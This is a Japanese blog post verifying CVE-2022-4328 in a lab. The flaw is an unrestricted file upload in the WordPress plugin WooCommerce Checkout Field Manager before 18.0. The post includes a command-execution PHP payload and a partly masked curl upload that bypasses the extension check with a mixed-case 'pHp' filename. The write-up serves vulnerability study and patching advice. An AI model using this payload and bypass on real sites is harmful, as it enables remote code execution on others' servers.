CVE-2022-4328の検証

このブログは、株式会社ArmorisアルバイトのShaderoが書いています。
あるもりすぶろぐの内容は個人の意見です。


はじめに

今回は、2023年3月6日に公開されたCVE-2022-4328の脆弱性を検証します。

この脆弱性は、WooCommerce Checkout Field Managerと呼ばれるWordPressプラグインが、ファイルの拡張子名を正常に検証できていなかったため、アップロードするファイルの拡張子名を工夫すると攻撃者がPHPなどの任意のファイルをアップロードできるようになるというものです。

脆弱性情報 NATIONAL VULNERABILITY DATABASE
該当プラグイン WooCommerce Checkout Field Manager
関連プラグイン WooCommerce
影響を受けるバージョン < 18.0

本情報を用いて悪用は絶対に行わないでください。

WooCommerce Checkout Field Managerとは

WooCommerce Checkout Field Managerとは、WordpressにECを実装するWooCommerceプラグインを使って作る決済ページの中身を変更することが出来るプラグインです。
これを用いることで決済ページに何らかのチェックボックスやテキストボックスなどを設置する事が可能になります。

PoC

検証環境

今回の検証では、検証環境をVagrantを用いて構築しました。 Vagrantファイルの記述例は以下の通りです。

Vagrant.configure("2") do |config|
  config.vm.box = "generic/ubuntu2204"

  config.vm.define "cve-2022-4328-wordpress" do |server|
    server.vm.hostname = "wordpress"
    server.vm.network "public_network", ip: "172.20.100.146"
  end
end

各ソフトウェアのバージョンは以下の通りです。

Name Version
Ubuntu 22.04
PHP 7.4.33
MariaDB 10.6.12
Apache 2.4.52
Wordpress 6.1.1
WooCommerce 7.4.1
WooCommerce Checkout Field Manager 17.1

本記事では、WooCommerceとWooCommerce Checkout Field Manager以外の上記ソフトウェアが検証環境に導入済みである事を前提に検証を行います。

1. プラグインの導入

Wordpressに本脆弱性のPoCに必要なプラグインであるWooCommerceとWooCommerce Checkout Field Managerを導入します。

1.1 WooCommerceの導入

WooCommerce Checkout Field Managerの依存プラグインであるため、WooCommerceプラグインを先に導入します。

WooCommerceのプラグインページにアクセスし、バージョンを7.4.1に指定してダウンロードします。

woocommerce-downloadpage.png

次にWordpressプラグイン追加ページにアクセスし、プラグインのアップロードを押した後に先程ダウンロードしたzipファイルを指定してインストールし、有効化します。

http://172.20.100.146/wordpress/wp-admin/plugin-install.php

woocommerce-install.png

1.2 WooCommerce Checkout Field Managerの導入

WooCommerce Checkout Field Managerプラグインの導入もWooCommerceプラグインと同様の方法でダウンロード・インストールを行います。

WooCommerce Checkout Field Managerのプラグインページにアクセスし、バージョンを17.1に指定してダウンロードします。

checkout-field-manager-downloadpage.png

次にWordpressプラグイン追加ページにアクセスし、プラグインのアップロードを押した後に先程ダウンロードしたzipファイルを指定してインストールし、有効化します。

checkout-install.png

2. PHPファイルの準備

アップロードするPHPファイルを準備して適当なディレクトリに保存します。

ファイルの中身はどのような内容でも問題ありません。今回は以下の内容をアップロードします。

<?php passthru("id"); ?>

このスクリプトが実行されると、Wordpressを実行しているLinuxユーザの情報(ユーザID・所属グループなど)を取得できます。

3. PHPファイルのアップロード

以下のコマンドを実行しPHPファイルを不正にアップロードします。
(悪用を防ぐため一部コマンドを隠して記載しています)

curl -i 'http://172.20.100.146/wordpress/wp-admin/admin-ajax.php?xxxxxxxxxxxxxxxxxxxxxxxx&name=payload.pHp' -F 'file=@/tmp/payload.php'

アップロードするファイルの名前を指定するURLパラメータ(name=payload.pHp)が本脆弱性の重要な部分です。

通常PHPファイルをアップロードしようとすると弾かれますが、拡張子の任意の箇所を大文字にすることでどのような拡張子のファイルでもアップロードできます。

php-up.png

以下のURLにアクセスするとPHPファイルが正常にアップロード出来た事が確認できます。

http://172.20.100.146/wordpress/wp-content/uploads/cfom_files/

check-uploadfile.png

またアップロードしたファイルをクリックするとPHPファイルが実行される事も確認できます。

exec-phpfile.png

最新のバージョンでは

なお最新のバージョンでは本脆弱性は修正されており、試しても弾かれるようになっています。

try-up.png

おわりに

今回は2023年3月6日に公開されたCVE-2022-4328の脆弱性を検証しました。

脆弱性は、簡単に攻撃を実行することができるため非常に危険です。
しかし執筆時点では既に脆弱性を修正した18.0が公開されており、アップデートを行えば対策することが可能です。
該当プラグインを導入している方は早急にアップデートすることをお勧めします。

本情報を用いて悪用は絶対に行わないでください。